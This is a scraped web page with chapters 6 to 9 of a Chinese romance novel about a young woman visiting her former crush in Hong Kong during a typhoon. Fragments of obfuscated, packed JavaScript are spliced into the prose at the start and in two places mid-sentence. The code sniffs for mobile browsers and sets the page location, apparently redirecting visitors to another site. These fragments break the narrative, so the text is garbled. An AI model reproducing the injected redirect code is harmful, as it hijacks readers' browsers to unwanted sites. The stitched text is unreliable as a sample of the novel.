RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309752|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鸭汤,以及晚上小酒馆里口感特别的各种进口啤酒。 那晚她喝了很多酒,然后任他送她回家。 他们一起坐在车子后排,从二环一路向北,她先到家,司机又送的他。 第二天直睡到日上三竿,等她醒来,他已经踏上飞往香港的飞机,两人从此分散。 她后来在微信里问他,那晚她跟他说了什么不可饶恕的醉话没有。 他答:“没有,又不是喝多了就必须说醉话,你放心,咱俩酒品都很好。” 小初说:“就算你酒品不好,我还能打你不成。” 他答:“那不行,在老同学面前那么没品,我成什么了。” 小初没再回。 余萧弋见小初半天只望着车窗外的建筑发呆,不禁出言提醒:“方小姐?” 小初回过神来,推开车门。 外面的雨丝立刻飘了进来。 “你等下。” 余萧弋大踏步下了车,绕到车尾从后备箱拿出一把长柄的黑色雨伞来,砰的一声撑开,然后才绕到小初这边,遮在她的头顶:“你的脚怎么样,要我陪你上去吗?” 小初摇摇头,“还要拜托余先生帮我拿一下行李箱,刚刚三百块已经给你转过去了。” 余萧弋一愣,“你给的太多了。” 小初有些心不在焉,“麻烦你了。” 余萧弋抿了抿唇,问她:“你大概需要多久?” “什么?” “我说你会在上面陪你喜欢的那个人多久?” 小初忽地一下红了脸,“你怎么知道?” “这世上聪明人总比蠢人多。” 小初说:“大概半个钟头。” 他说:“那好,我在这等着你。见喜欢的人,瘸着一条腿就够可怜了,还要拖着那么大一个箱子,陌生人看了都要替你哭一场。” 又说:“我猜你箱子里大部分都是书吧?放心,我对别人的书没兴趣,绝不会偷走的。万一食言,你可以报警,反正你手机里有我身份信息。” 小初咬了咬牙。 这人的嘴怎么也这么毒?亏她还以为他是什么翩翩佳公子。 “万一你给我的证件是假的呢?” 余萧弋想了想,“那要不你再拍下我的车牌?我总不敢挂假牌上路吧,就算车子不是我本人的,你总也可以在交通署查到车主信息。” 小初立刻照做。 余萧弋也不恼,还好心提醒她,“拍清楚一点。” 小初说:“你抬头,我再拍一张你,做三重保险。” 他怔住,彻底被她打败。 小初磊落收起手机,“OK,那就麻烦你等我一下,半个小时之内,我肯定下来。” 余萧弋没好气把伞塞到她手里,“愿你顺利。” “余萧弋。”小初突然喊他名字,“谢谢你。” 他没吭声。 小初在上行电梯里模拟一万种一会儿敲开门时叶子瑜可能会发生的情景,却还是猜错。 而且是大错特错。 因为她怎么也没想到,开门的会是一个三四岁的小男孩,粉雕玉琢的,看着还挺可爱。 他看见她,也不害怕,只瞪着忽闪忽闪的大眼睛盯着她瞧,并用英语问道:“你找谁?” 小初退后半步,直至确人门牌号没错,才答他:“我找叶子瑜。” 她想起来,这边的学生基本都会找合租室友来分担房费,只是她有点不懂,他为什么会找一个带小宝宝的,这样不会被影响到学习吗? 小男孩听了立刻回过头去朝里面大声喊到:“妈咪!” “发生什么事?”是一个女人的声音。 小男孩回了句粤语。 小初下意识再退后半步,胸腔里是什么东西在崩塌瓦解的轰鸣声,又像是某种动物正在烈焰中痛苦挣扎,她尝到了血腥的滋味。 紧接着,一个短发齐肩,妆容素淡,穿白衬衫和牛仔裤的漂亮女人就已经到了面前。 她的手上还戴着厨房的隔热手套,似是正在煮什么东西。 还未待小初说话,对方已然率先开口,嘴角的弧度无懈可击,“你好,方小姐是吧?他等你好久了。” 7. 第 7 章 小初僵硬地跟着女人走进客厅的时候,叶子瑜正单只脚笨拙地从卧室里跳出来。 无端让人想起宫崎骏笔下的稻草人。 本来愤懑又失望的情绪,在见到此等模样的他时竟然瞬间就溶解开来,小初别过头去,足足半分钟,才将心底不断翻涌和叫嚣着的酸涩咽回去。 事已至此,她这样又算什么。 余萧弋不是第一个用“率真”来形容她的人,但她觉得此刻的她更接近的那个词应该是“莽撞”。 莽撞地敲开一扇没有自己容身之处的门,再狼狈地退出去,假装一切没有发生过。这不是,也不该是她等了那么多年,她和他之间应该有的结局。 她宁愿他说她一句“傻子”,再把她拥入怀中,然后两人抱头痛哭,前尘往事只当云烟,从眼下这一刻重新开始计算,只往前看。 但,这不过是一个自以为是的暗恋者,临死前的幻觉罢了。 她已得到那个答案。 其他的,不重要了。 “怎么样,这一路累坏了吧?”叶子瑜斜倚在沙发靠背上,下巴微扬,眼角含笑,表面上和当年那个骄傲又不羁的少年别无二致。 可惜小初视力太好,只看见他脚下满地的儿童玩具。 “还好,两边的天气都不太好,耽误了点时间。”小初努力勾了勾唇,并微微欠身和那个女人点了点头,“实在失礼,叶子瑜也没跟我说明情况,导致我都没给小朋友带什么礼物。” 女人似是没想到她会作此反应,眉间都是讶异之色,但很快被她掩饰下去,“方小姐你太客气了。” 她的普通话听上去非常费力,小初甚至怀疑她的舌头此刻都是打着结的,但态度还算温和,并没有对她这个不速之客表现出任何不耐烦的神色。 “打扰了。”小初再次点点头。 叶子瑜说:“忘了帮你们介绍,这是我女朋友陈沅君。”又朝陈沅君弯了弯眼角,“这就我之前跟你说过的,我中学时的同学,方太初。她可是我们学校的传奇,超级大学霸来的,让所有人望尘莫及的那种。” 陈沅君说:“快请坐,方小姐。” “谢谢。”小初机械地靠着沙发一角坐了。 那个粉雕玉琢的小男孩却似乎不太满意,跑过去抱住叶子瑜的大腿,抗议道:“你都没有介绍我!” 小初尴尬得简直不知道该看向哪里。 “是我错。”叶子瑜温柔地摸了摸孩子的头发,郑重和小初介绍,“这是Oliver,我们家的小王子。” 这一刻的他,比她认识的那个他至少长大了十岁。 小初有些微怔。 陈沅君端过茶来,放在茶几上,热情招呼道:“方小姐饮茶。”又示意小男孩,“走,妈咪带你出去买你那天想买的工仔玩具好不好?” 小男孩立刻雀跃起来。 叶子瑜担忧地看了眼窗外,转向女友,“要下大雨了,别带他出去了。” 陈沅君说:“今天不出去才是两三天都出不了门呢,到时候又不知他会有多吵,你别管啦,好好和方小姐叙叙旧,我们很快就回来。” 小初简直坐立难安,“陈小姐不必如此,时间已经不早了,我说两句话就走了。” 陈沅君说:“没关系,你们聊。” 然后就带小男孩去了门厅,出门之前还没忘叮嘱叶子瑜,让他看着时间别把厨房的三七炖鸡炖过了火。 小初倏地垂眸下去,越发觉得自己莽撞。 叶子瑜有些不安,眼神一直追随着她的背影,“阿沅。”只是喊她的名字似乎都蕴藏着无限深情 ,“你早点回来。” 陈沅君似是有些无奈,“好啦,我知道啦。” 小男孩说了Bye-bye。 门终于被关上,空气一下子陷入了尴尬与静寂。 两人的视线都定格在虚空中的某处,唯独不敢看对方的眼睛。 这样画面无异于告诉小初,他对她也未必坦荡到完全问心无愧,于是更加难过。 想起他们也曾有过的无话不谈的日子,她忍不住慢慢红了眼睛,半晌才说:“你应该早点跟我说你有女朋友了的。” 叶子瑜双肘撑在膝盖上,听见这句才慢慢抬起头来看向她,面色有些苍白,“你要我怎么说?” 小初蹙了蹙眉,“怎么,陈小姐在你这儿这么拿不出手吗?” 叶子瑜说:“跟她无关,是你我之间的问题。” 小初心头一刺,“你我之间有什么问题?” “你不觉得没有问题才是最大的问题吗?你又从没说过你喜欢我,我哪来的脸……” 他缄口,不再往下说。 小初不敢相信自己听到了什么,整个后背都变得僵直,感观也变得极为敏锐。厨房的砂锅气孔正在蒸腾的热气,一点点蔓延到客厅来,将她和他笼罩其中。 她神色复杂地看了他片刻,只觉得万箭穿心似的难过。 原来他什么都明白。 可是,喜欢二字难道是需要用嘴说出来的吗?她喜欢他这件事,几乎已经无异于明月高悬只独照他一人了,如此皎洁直白,不比什么言语都更容易理解吗? 还是说,他一定要她亲口说出来,才能积攒起足够的勇气面对她? 如果真是如此,她倒也不吝啬于比他更先表白,她从没在意过那些形式上的东西,更不怕他会因此生出什么骄傲来,只是现在,她茫然地打量了一下眼前这个虽然逼仄不堪却又处处流露着温馨的、他和别的女人的小家,她还能说什么? 她又能怎么样? “方太初,对不起。”叶子瑜突然道歉。 “别,你也没有对不起我什么。” “其实,尽管你什么都没说,我也都明白。你知道的,男人都会装傻。” 小初双手紧紧握着茶杯,直握到指节发白,但还是没忘制止他:“不要说出来。” 叶子瑜轻笑,“你想知道我们俩这么多年为什么一直都没有走到一起吗?” 小初难以置信地看向他。 “还有,都到了这个份儿上了,你都不想问问我到底有没有喜欢过你吗?” 他太过分了! “你是不是香港待久了,连电视剧台词都会背了,那句你是否钟意过我,不都是女主角临死之前才会问出口的台词吗?” 小初讥诮:“你放心,我方太初没那么脆弱,我喜欢你这件事过去几年人尽皆知,从此以后我向你保证,它再也不会成为你的困扰!” 可他却话锋一转,突然说道:“我当然喜欢过你,不戳破,是因为我舍不得,还想若无其事和你做朋友。” 他,到底,知不知道,他在说什么? 有些话一定要说得这么直白吗? 小初忍得很辛苦,才没有把手心里的茶泼到他脸上!刚刚那个带着小男孩走进雨夜的可怜女人,知道他会如此卑劣和无耻吗? “我喜欢你,也不难理解吧方太初,想必你自己也清楚你有多耀眼吧?想当初,就因为和你走得太近,我还被人堵在胡同里暴揍过。” 小初愣住,“什么时候的事?谁干的?” 他们怎么不把他打死? “这不重要。”叶子瑜摆摆手,“我其实更想说的是,我喜欢你,就像我喜欢太阳喜欢风,喜欢路边盛放的一朵花,喜欢天上自由的一只鸟一样,从没想过要据为己有,你能明白吗?” 小初说:“我不明白。” 叶子瑜深深看她几秒:“一开始,我也不明白,直至后来遇见阿沅。” 小初轻笑,“这是要给我细数你的罗曼史了?” 未待他回答,她已骤然收起笑意,一双本就黑白分明的眼睛,瞬时变得无比深邃,“叶子瑜,你好歹也是个北京男人,这个时候就不必非杀个回马枪|刺穿别人的心脏了吧!你就大步向前走你的,不好吗?从此你我路归路桥归桥,我可以遥祝你扶摇而上鹏程万里的,你要是觉得我还不够诚心,等我回去就去雍和宫帮你烧个香!” 叶子瑜神色古怪地看她一眼,语气有些无奈,“小姐,你就不能听我把话说完吗?” “不能,我该走了。”小初起身,不再看他,“你好好保重,有空多给家里打打电话,连筝阿姨她们都很想你。” 叶子瑜气急,想起身去拦她,却忘了那只受伤的腿,疼得他“嘶”的一声,又跌坐了回去。 “你怎么样!”小初三两步跨到他身边,也忘了自己的脚踝还受着伤,一阵刺痛传来,她蹙了蹙眉,生理性眼泪差点没流下来。 叶子瑜说:“没事,死不了。” “死了倒好。”小初低声说。 “你还说,要不是急着去接你,我能碰上这糟心事吗?这么多年的感情我用一条腿还了还不够吗?” 小初瞪他一眼,“怎么,你这是好不了了是吗?” “你难道就不会好了吗?”叶子瑜声音放轻,“小初,你会比我更快痊愈的。” 小初的眼泪瞬间就决了堤。 “你知道我为什么放弃了去美国吗?”叶子瑜递给她一张纸巾。 小初没拒绝,接过来擦了擦,故意刺他,“因为你的阿沅在香港。” “因为我妈,我亲妈。”叶子瑜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶子瑜被她的真诚和磊落打动到,抿了抿唇,“不用,我可以的。” 小初点点头,“快点好起来,我不想天天记着我还欠别人一条腿。” “我会的。” 走到门口,她突然又想起什么,回头问他:“阿沅是不是比你大好多?” “十一岁。” “你最好保证你是真的爱她。你们家的小王子应该还不超过四岁吧?你不懂这个年纪的孩子看着母亲身边的异性不断出现又消失的滋味。” 小初顿了顿,压抑住心底那丝不为人知的脆弱,“可我懂。” 叶子瑜愣住。 “再见,子瑜。” 她帮他从外面轻轻合上门。 然后才一瘸一拐走向电梯。 香港的小公寓电梯厢极为狭窄,速度却极快,她突然发现,离开一个人,原来可以这么简单。 只需要一个电梯下行键。 她跌跌撞撞走出大楼,尽管心情依旧沉重又难过,但她没有再哭。 雨仍在下。 她撑开伞,遮在头顶。 “方小姐,你超时了。”余萧弋降下车窗,目光落在她雨伞边缘。 却也只看见她若隐若现的一截下颌,柔和中还带着些许脆弱。这一刻,中式留白的高级美学瞬间绵延开来,在他面前舒展成一副独一无二的山水画卷。 未等她走近,他就鬼使神差下了车,帮她打开了后排的车门。 小初这才将伞向上抬了几寸。 “久等了余先生。” 他笑,“你再不来,我是真的可能把你的书都据为己有了。” 小初坐上车,神情已极度疲惫,“麻烦,帮我载到最近的酒店。” 余萧弋启动发动机。 半晌才问她:“你喜欢的那个人见了你,有没有好一点?” 小初也觉得荒唐,“没有,他的同居女友看上去比我更会照顾人。” 余萧弋同情地看她一眼,“啊?那你还好吧?” “还好,这世上只是没有多一个更幸福的人而已……嗯,是多了三个。” 余萧弋没想到她都到这会儿了还能这么幽默,心跳像是被谁牵引了一下,“三个?” 小初托腮望向车窗外。 “嗯。他,他女朋友,还有他女朋友四岁的儿子。” “……”余萧弋透过后视镜看她一眼,“方小姐你,还真豁达。” 8. 第 8 章 车子还未驶过两个街区,雨势已经大到雨刮器失灵。 车载电台不遗余力提醒着市民,热带气旋外围环流正极速袭港,今日至明日持续有强阵风和雷暴骤雨,如非必要,切勿外出。 小初听了心里很是过意不去,歉然道:“实在抱歉余先生,要不是因为我,你也不需要这个时间还在外面奔波了。” 余萧弋看上去倒还算淡定,尽管此刻行车已经非常艰难,“没有关系。”他透过后视镜朝她笑笑,“还有,你不必每句都叫我余先生,恐怕我也比你大不了几岁,你叫我名字就好。” 小初腹诽,可不是没比她大多少嘛,一岁多而已,他若还是个学生,大概率本科都还没有毕业,真论资排辈起来,说不定还要叫她一声学姐。 她想了想,问他:“所以,Theo是你的英文名字?” 他答:“是。”又问她:“你的呢?” “我没有英文名字,就叫方太初。‘太初有无,无有无名’的太初。《庄子》定义它为宇宙生成前无形无名的状态。” 余萧弋笑:“那你爸妈一定有一个是哲学家。” 他情绪太稳定,小初逐渐放松下来,下巴也不自觉抵在了前座的座椅靠背上,看向斜前方他的侧颜,“哲学家不哲学家的不好说,我只知道我爸有个表哥的儿子叫宇宙,他们家大概就是这个风格,也不管自家孩子的福气压不压得住这样的名字。” 余萧弋似是没想到她会这么说,微微惊讶后将笑意敛起,“不许胡说。” 他蓦地这么严肃,小初倒觉得有些莫名。 她其实就那么一说,并没有怎么把它当回事,转念一想香港人向来比较传统和迷信,可能是有点听不得人说话不避谶,也就挑了挑眉没再接话。 方协文的电话恰好这会儿进来,余萧弋体贴地关掉了车载电台,小初感激地看了他一眼。 电话那边的方协文应该是刚开完会,声音听上去极为疲惫,但也没妨碍他一上来就问她飞机延误了多久,姓叶那小子有没有去接她,他们吃了什么饭,现在人在哪里,是一个人,还是两个人还在一起,他看天气预报说,香港正在台风过境,她有没有找个好点的酒店早点休息。 明明每一句都是关心,却又字字都精准踩在她的心理边界线上。 就连一旁的黄亦玫都听不下去,替她抗议:“方协文,你闺女已经二十岁了,你能不能给她留点属于自己的空间?” “她八十岁也是我闺女。”方协文嘟囔:“你以为现在的男孩还像我们这代人年轻的时候满脑子都是纯爱呢?” 黄亦玫揶揄:“这孩子还是从小和你闺女一块长大,家庭和品行都无可挑剔的,这要是换成别人,你还要焦虑到发疯?寸步不离地跟着?” 方协文说:“你不懂一个曾把姆爷的《Mockingbird》循环过一万遍的男人心里在想什么。” 黄亦玫似是很惊讶:“你的音乐品味现在已经到这个高度了吗?我倒要去听听这是一首什么歌。” 说完又拿过电话跟小初说:“好啦你去忙你的吧,初来乍到一个不熟悉的环境难免水土不服,一定要照顾好自己,如果遇到什么难题也不要自己硬扛,我和爸爸随时可以飞过去。” 小初有些哽咽,说了声:“好,知道了。” 电话挂断。 今天的她格外脆弱和孤独,竟无比贪恋电话那端父母的声音传递过来的温暖,连她爸如此干涉她隐私,都没有进行只言片语的反驳。直至挂了电话她才后知后觉,她这么反常,岂不是更让他们担心?早知道刚才好歹应该回几句过去的。 下一个路口红灯亮起,余萧弋才递了张纸巾过来,也没多问别的,只说:“擦擦吧。” 小初接过来,也不解释,问他:“我们离酒店还有多远?” 余萧弋苦笑:“正要和你说,我其实一早约了人在绮丽谈事情的,现在已经过了约定时间,对方最恨人迟到,肯定要大发雷霆。所以我想和你商量商量,能不能稍等我半个钟,等我敷衍完她再送你?” 敷衍这个词就很微妙,小初睫毛动了动,又看了看表——此刻已经接近夜里十点钟,她想不通什么事情偏要这个时间谈,下意识问他:“余萧弋,你是做哪一行的?” “啊?”余萧弋似是根本没听懂她的弦外之音,兀自答得认真:“无所谓哪一行,都要有基本的时间观念吧?” “只要半个钟就够吗?” 余萧弋想了想:“我尽量快点,不让你久等。” 小初神色古怪地看他一眼,好像突然有点明白他为何如此让人如沐春风了。她听说现在专有一种男女,只要客人给的价码足够高,他们可以飞全国提供服务。 他这么年轻好看,行事又如此光风霁月,还精通粤语英语和普通话,能约到住在绮丽的客人,倒也有迹可循。 小初抿抿唇,不知怎么就有点惋惜,她仔细想了想,大概就像常人看见明珠蒙尘时的感觉。 余萧弋仍在等她的回答:“可以吗?” 小初不想因为自己耽误别人的正事,于是点点头:“半个钟我是可以,只是我怕你也会像我一样超时。” 她才不信对方会那么快放过他,若对方不放手,她难道要在车里一直等?那她这一天才是荒谬到底了,于是她说:“算了吧,我就住绮丽好了。” 余萧弋看她一眼,似是不知道该怎么开口:“只是我要提醒一下你,绮丽……有点贵。” 小初之前从没有在酒店这类事情上操过心,不禁也有些拿不准,问他:“有多贵?” “普通客房估计也要五六千港币一晚,这个天气,你怎么也要住上三晚。”似是看到小初有些犹豫,他又马上说:“不过,我倒是可以想办法帮你打个折。” 看来,他那位客人果然非同一般。 小初稍稍安心,本来听他那么说,她还以为要几万块一晚,如果是那样,她倒是真得考虑考虑,不是以他们家如今的条件住不起,而是她一个二十岁出头的单身女孩,住几万块一晚的套房,难免招摇,而她并不想太招摇。 “先进去问问价格再说,如果接受不了,我就自行打车去别家好了,余先生忙你的就好,不用再管我。”小初飒然一笑,“已经够麻烦你了。” 余萧弋没再说话,几分钟后,车子平稳停在绮丽的大堂门口。 小初开门下车,这才发现她们身后跟的就是一辆迈巴赫,她到这儿才是真的有点佩服余萧弋的心理素质了,因为即使开了这么一辆略显寒酸的车,他竟还能淡定地将车钥匙交给酒店工作人员让对方帮他泊车。 取了行李箱,两人便一块迈步走进了酒店大堂。 小初惊讶于这家酒店豪华又不失艺术感的设计,连连在心里感叹着设计师的审美,一直在左右环顾,根本没有注意到前台的工作人员已经在和余萧弋搭话,“Theo你终于来了,Rebecca已经等你很久了。” Rebecca,小初无端在脑海里勾勒出一个猫眼蜂腰、浑身名牌、慵懒娇慵的贵妇形象。 余萧弋说:“我马上就上去。”又看了看小初,说:“这是我朋友,请帮忙看一下是否还有合适的客房。” 工作人员诧异地看了小初一眼,在她发现之前已然收回目光,看上去极为专业:“好的,我看一下。” 余萧弋说:“麻烦。” “不知道小姐有什么需求?” 小初意识到对方是在和自己说话,这才将目光从一个造型别致的摆件上收回来,笑笑说:“没有太多要求,能住就行。” 工作人员疑惑地看了看她,似是没听懂,又转向余萧弋。 他斟酌片刻,回过去长长一串粤语。 这一次,轮到小初没听懂。 工作人员颔首,态度极为恭谨,没一会儿就用普通话问小初:“小姐,现有一间海景房,面积倒不大,但远离升降机好安静的,价格是1900港币,请问可以吗?” 一千九?这么便宜? 小初被惊到,并迅速在Rebecca的画像旁边添了一行小字——大佬出没,请小心。 “我是可以,只是……”她问余萧弋:“会不会太麻烦你?这折扣似乎有点太大了,万一Rebecca一会儿借此向你讨人情,你……”她的目光不经意滑过对方的腰和腿,“吃得消吗?” 话音一落,她就听见工作人员一阵剧烈的咳嗽,咳嗽得脸都红了。 小初懵懵懂不知发生了什么事,问道:“你还好吧小姐?” 工作人员极力忍住咳嗽,说:“没事,麻烦小姐证件给我一下。” 小初将证件递过去,又隐约觉得哪里不对,求助似的转身过去,却发现余萧弋正意味不明地看着她,眼底都是凉意。 “Theo,你怎么了?”她有些奇怪,并感觉后颈有些冒风。 “没事。”他近乎咬牙切齿。 小初不明所以:“你要不先上去?别让Rebecca等急了。” “不用。”他无语地看她一眼。 五分钟后,两人一起上了电梯,直达三十九层。 小初没想到她的客房就在他的隔壁。 只是不知道为什么,直至两人各自开门进了自己房间,他都没有再和她说一句话,气场也由之前的温润变成了冷峻。 小初虽然有些敏感,却从不做泛泛之交的情绪海绵,所以也并未将他突如其来的不开心放在心上,只是径直推开房门。 下一秒,维港夜景就透过大大的玻璃窗映在了她眼底。 小初蓦地怔住。 这一千九的人情,是不是有点太大了?她可别害余萧弋被那个Rebecca折腾死! 发了几分钟呆之后,她意识到事情已经无可转圜,索性也不再去想那么多,就那么直挺挺躺在了柔软的床上,一边想着这一天发生的荒唐事,一边俯瞰维港的夜景。 外面依旧狂风大作,暴雨滂沱着,可这一刻,她躺在这里,却似一叶扁舟驶入宁静港湾,外界的纷乱再也打扰不到她分毫。 不知过了多久,似是几分钟,又似是半个小时,她终于被房门外的一阵敲门声拉回了现实。 “谁?” “我,余萧弋。” 小初的眸子不动声色地一闪,却未起身,只隔着门问他:“什么事?” “我有几句话要和你说,说完就走。” 小初坐起身来。 犹豫了一会儿,到底还是起身去给他开了门,她早说的,不能欠人人情,不然她现在何必顾忌他的感受,充耳不闻让他自讨没趣就好了啊。 只是她没想到,这么短的时间,他竟然还换了身衣服。 她从未见过这样的装束,一件极为笔挺的黑色交领衬衫内竟还有一件白色衬衫,领口被一条黑色领带一丝不苟地束着,然后两件衬衫又一同被扎进黑色西裤,只稍稍这么一修饰,就将他宽肩窄腰长腿的身材优势发挥了个彻底,更另有一股禁欲疏离的气质流露出来。 小初虽不经人事,却也已经忍不住在想,一会儿的Rebecca见了他眸色得幽深到什么程度。 这谁顶得住? “方太初。”他无比郑重地喊她的名字。 小初神色一凛,不知他意欲何为,只是用膝盖死死抵着门,只留一条窄窄的门缝给他,“什么事?” 他不说话,只是那么定定地看着她。 小初不自觉捏紧了领子,“到底什么事?你不说我要关门了……” “你是不是以为我和Rebecca有什么不可告人的关系?” “啊?”小初愣住。 “你别装傻,你就说你刚才是不是那个意思?”他呼吸不稳,耳垂泛红,再也不似之前那样端方克制。 “主要你这……”小初的声音越来越低,“的确让人浮想联翩嘛……” 他冷笑,“而你甚至都不认识Rebecca。” 小初问:“她是不是个豪门贵妇?” 余萧弋呼吸一滞,“是。” “那不就完了嘛!你又委屈什么?多少人求之不得呢!”小初说完忽觉自己越描越黑,不禁垂下嘴角,“对不起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309754|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 余萧弋没好气看她一眼,“我在你印象里就是这种人?” 小初立刻赔笑:“没有没有。” “我和Rebecca不是你想象的那种关系!” “我错了余同学,你就大人不记小人过吧。”小初感觉她这辈子就没和任何人这么低声下气说过话。 余萧弋无可无不可地垂眸看她一眼:“余同学?” 小初反问:“你难道不是还在念书?” “那你呢?截止到现在,你不仅拍了我的证件和车牌,还拍了我本人的照片,可我对你还一无所知,你觉得这公平吗?” “我?”小初眯了眯眸子,“萍水相逢而已,就不必知道那么多了吧?” 余萧弋却似乎并未打算放过她:“先说说看,然后我再做决定。” 小初咬了咬唇,顺嘴胡诌:“实话实说,我是背着家里出来和心上人私奔的。” “然后发现对方变了心?” “余同学果然聪明。” “那你接下来打算怎么办?” “随便混几天就打道回府呗,你知道的,父母总会原谅子女。” 余萧弋沉默了一瞬,“所以,你只能在香港停留七天?” 小初本不想骗他,可话已至此她已别无选择,:“差不多。” “只七天箱子需要带那么多书?” 小初否认,“我从没说过那里面是书吧?” “那是什么。” “说不定,是某个雄性动物的骸骨。” 余萧弋不再说话。 小初轻声提醒:“余同学,时间不早了。” “晚安。” “晚安。”小初已经打算关门。 忽听他又问道:“ 那你这七天,打算怎么过?” “啊?”小初不知道怎么去编一个她从没想过的答案。 “不然,我带你香港到处玩玩?” 小初犹疑了下,想着自己台风过境后还要第一时间去学校报到,游玩是肯定没有时间的,于是谢绝,“不必麻烦了,七天很快就会过。下次你去北京,我倒是可以做东道主。” 这一次,还未等他回答,她就关了门。 然后,没一会儿,她就听到了他渐行渐远的脚步声,往电梯间方向。 小初轻笑一声。 也不知待会Rebecca扯着他的领带一步步跌入他怀中的时候,他还能不能那么义愤填膺,否认两人之间的暧昧关系。 不过,她也懒得去操心别人的人生,打开浴缸的水准备泡澡。 这五星级的酒店服务的确好,精油浴盐和洗护用品都是名牌,没一会儿,小初就沉入了绵密泡泡中,舒服地闭上了眼。 不知过了多久,她才想起她爸刚说的那首姆爷的什么歌,将手机播放器连接到蓝牙音箱上。 她是听到那句“Now hush little baby don''t you cry,everything''s gonna be alright.”开始爆哭的。 并一发不可收拾。 也是奇怪,失恋的的痛苦还未真正伤到她分毫,亲情却轻而易举就让她丢盔弃甲。 她想人生果然不能跳格去经历,就如同现在的她,二十岁竟还要还十六岁时欠的债。 从小到大被太多人偏爱着长大,反而让她不知该怎么去接受这世上竟然也有人不爱她。 叶子瑜,叶子瑜。 她轻声呼唤他的名字,就这么躺在恒温浴缸里沉沉睡去。 直至,她再次被一阵敲门声吵醒。 小初有些懵,发现自己的皮肤已经被泡出褶皱。 她披上浴袍,就那么湿漉漉地走向房门,扣着安全链将门打开一条缝。 果然又是他。 “什么事?” 余萧弋隔空与她对视了几秒,又不自然地别开视线,“方小姐,很晚了。” “哦。”小初问,“几点了?” “凌晨三点。” 余萧弋的声音听不出什么情绪。 “竟然这么晚了?”小初拍拍脑门,而后眼底又滑过一丝意味不明的狡黠之色,“余萧弋,我就说你肯定会超时吧?” “……”余萧弋不知道自己此刻该不该和一个神志不清的人计较。 “我已经回来很久了。” 小初说:“哦。” 余萧弋说:“我本不需要和你解释。” “那就别解释。” “可你能不能把你房间的音乐关小声一点?我被你吵得睡不着。” 小初愣了愣,下一秒就炸了毛,“你胡说什么,这么好的酒店隔音会这么差?” 余萧弋有些无奈,“咱们两个的房间是连通房,中间只有一道木门。” “你说什么?”小初立刻难以置信地合上了门,并大踏步走向房内,巡视了一圈,才找到余萧弋所说的那道门。 令人无语的是,房门还是朝他那边开的! 她赶紧试着旋转了一下门把手。 “放心,门是打不开的。” 余萧弋的声音隔着那道门十分清晰地传了过来。 小初被吓了一跳,险些跌倒。 “麻烦,把音乐关掉可以吗?” 回过神来的小初瞬间化身一只被踩了尾巴的小猫,喵呜一声跳到了浴室,并手忙脚乱断开了手机蓝牙。 如果她说半夜扰民并不是她故意的,他会相信她的,对吧? 余萧弋的微信适时跳了出来,“多谢,虽然已经睡不太着了。” 小初抿抿唇,“那你试试数羊。” 他很快回过来,“那你困吗?” “还好,刚刚不小心在浴缸里睡着了。” 他又回,“那你饿不饿,这家酒店的夜宵可以提供到早晨六点,要不要干脆一块上去吃碗面?” 小初的眼皮骤然一跳。 说好的她只能在这边待七天。 他的情绪价值到底有多么过剩,需要如此不遗余力地到处兜售? 9. 第 9 章 折腾了这一整天,小初还真有点饿了,于是她只稍微犹豫了一下就爽快答应了他的邀约。 反正,她和他的交集也就仅限台风过境这两三天,妈妈说,人都是需要朋友的,她就当自己是船只触礁不小心流落到荒岛的鲁滨逊好了,哪个鲁滨逊不需要一个英俊又可爱的星期五呢? 刚从浴缸里出来的她发尾还有些湿,但好在整个酒店的温度都很恒定,她并不担心自己会因此而感冒,所以也没有太在意,只随便换了身衣服就推门而出。 她向来很少在衣食住行这些琐事上操心,这套衣服还是黄亦玫去法国出差时候帮她带回来的。 纯白色的廓形短袖配短裤,云朵般的质地,恰到好处地将她的圆润与纤细包裹其中,让她看起来更多是简单淳朴,而非清纯娇媚,刚好满足她想要的一切。 从小到大,妈妈的很多朋友私下都会叫她小玫瑰,就是因为她几乎就是她年轻时候的复刻版,黄亦玫即使年过四十还时常有男士大献殷勤,更何况是眼下二十岁的她? 她早说过,她早慧,所以她比谁都明白一朵含苞待放的粉玫瑰对于异性的吸引力,而她并不想给余萧弋那样的错觉。 她和他,本就是两条异面直线,此刻短暂相遇就已经是两人之间最近的距离,既然她无意于他,当然还是与之保持君子之交比较好一点。 可她怎么也没料到,余萧弋这个“星期五”竟比她还要注意形象,她在走廊里足足等了他八分钟,连墙壁上的挂画都欣赏到了第三幅,他才姗姗来迟。 偏头看见她,他倒吓了一跳,下意识说了句:“你咁快嘅?” 小初不动声色地瞧了他一眼,从他松散的蓝色休闲衬衫领口到被他挽到小臂的半截衣袖——这家伙,果然又换了身衣服。 “没有,我也刚出来。” 余萧弋走到她身侧。 小初身上氤氲的水汽隐隐散发着一股不知名的香,他的目光在她耳后雪白的皮肤上仓惶一瞥,嗓音渐低,“在看什么?” 小初没有立刻回答,而是顿了片刻才说:“这幅画的色彩运用得真好。” 那是两棵长着七彩叶子的树,一棵在岸边,一棵在水里,岸边那棵的叶子流星一般坠入水底,水底那棵则以热烈的姿态迎接着。 如此繁复而美丽的画,却每个笔触都晕染着悲剧色彩,因为所有人都知道,它们俩很快就会掉光所有叶子,走向必然枯萎的结局。 